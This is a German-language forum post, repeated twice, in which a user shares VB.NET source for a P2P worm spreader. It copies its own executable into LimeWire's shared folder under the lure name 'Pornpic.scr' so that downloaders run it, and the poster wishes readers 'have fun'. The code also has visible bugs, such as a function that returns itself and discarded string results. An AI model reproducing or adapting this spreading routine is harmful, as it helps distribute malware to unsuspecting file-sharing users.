inmate
02.07.2009, 23:33
Public Class Form1
'Function deklarieren
Private Function limewirepfadfun()
Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
'die "/" "\" im Pfad ersetzten
LimePfad.Replace("\", "/")
return limewirepfadfun
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'ruft die sub P2Pspread auf
Call P2Pspread()
End Sub
Private Sub P2Pspread()
Try
'Datei kopieren
Dim Spreadname As String = "Pornpic.scr"
IO.File.Copy(Application.ExecutablePath, limewirepfadfun() & spreadName)
Catch ex As Exception
End Try
Try
IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & spreadName)))
Catch ex As Exception
End Try
End Sub
End Class
ist nur LimeWire aber das Prinzip sollte klar sein ;)
HF
inmate
'Function deklarieren
Private Function limewirepfadfun()
Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
'die "/" "\" im Pfad ersetzten
LimePfad.Replace("\", "/")
return limewirepfadfun
End Function
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'ruft die sub P2Pspread auf
Call P2Pspread()
End Sub
Private Sub P2Pspread()
Try
'Datei kopieren
Dim Spreadname As String = "Pornpic.scr"
IO.File.Copy(Application.ExecutablePath, limewirepfadfun() & spreadName)
Catch ex As Exception
End Try
Try
IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & spreadName)))
Catch ex As Exception
End Try
End Sub
End Class
ist nur LimeWire aber das Prinzip sollte klar sein ;)
HF
inmate